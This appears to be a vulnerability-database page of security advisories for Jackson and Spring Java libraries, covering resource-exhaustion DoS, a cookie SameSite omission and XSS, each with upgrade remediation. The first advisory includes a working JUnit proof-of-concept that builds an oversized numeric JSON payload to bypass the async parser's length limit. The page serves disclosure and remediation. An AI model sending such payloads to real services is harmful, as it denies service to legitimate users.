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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.8, 2.21.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SimpleEvaluationContext file when the SpEL expression compiler is enabled through specific configuration settings. An attacker can cause unbounded class-loading growth and bypass enforced safety checks by submitting specially crafted expressions for evaluation.

Note: This is only exploitable if the application evaluates SpEL expressions using SimpleEvaluationContext and the SpEL expression compiler is active via the spring.expression.compiler.mode property or a SpelParserConfiguration set to IMMEDIATE or MIXED.

Remediation

Upgrade org.springframework:spring-expression to version 7.0.9 or higher.

References

• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Sensitive Cookie in HTTPS Session Without "Secure" Attribute in the JettyCoreServerHttpResponse file. An attacker can compromise user session integrity by exploiting the omission of the sameSite attribute in serialized response cookies, potentially enabling cross-site request forgery (CSRF) attacks when a user interacts with a malicious website.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data binding. An attacker can exhaust system memory by supplying a crafted property path with a large index value, causing unbounded allocation of list elements when the target object contains a self-populating list whose element type exposes sub-properties.

Note: This is only exploitable if the application uses Spring's data binding infrastructure to apply user-supplied property paths onto a target object, the target object contains a self-populating list implementation as a property, and the list's element type exposes sub-properties.

Remediation

Upgrade org.springframework:spring-beans to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the evaluation of user-supplied SpEL expressions containing the power operator (^) with a BigDecimal or BigInteger operand and a large exponent value. An attacker can cause excessive CPU and memory consumption by submitting specially crafted expressions.

Note: This is only exploitable if the application accepts and evaluates untrusted SpEL expressions and a BigDecimal or BigInteger value is accessible within the evaluation context.

Remediation

Upgrade org.springframework:spring-expression to version 7.0.9 or higher.

References

• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the PartEventHttpMessageReader file when maxInMemorySize is set to -1. An attacker can cause excessive memory consumption by uploading large multipart requests.

Note: This is only exploitable if the configuration explicitly sets maxInMemorySize to -1.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Errors.getFieldErrors() or Errors.getFieldError() accessors when rendering field errors with HTML escaping enabled. An attacker can inject arbitrary HTML or JavaScript code by supplying crafted input that is not properly escaped.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

• GitHub Commit
• Spring Security Advisory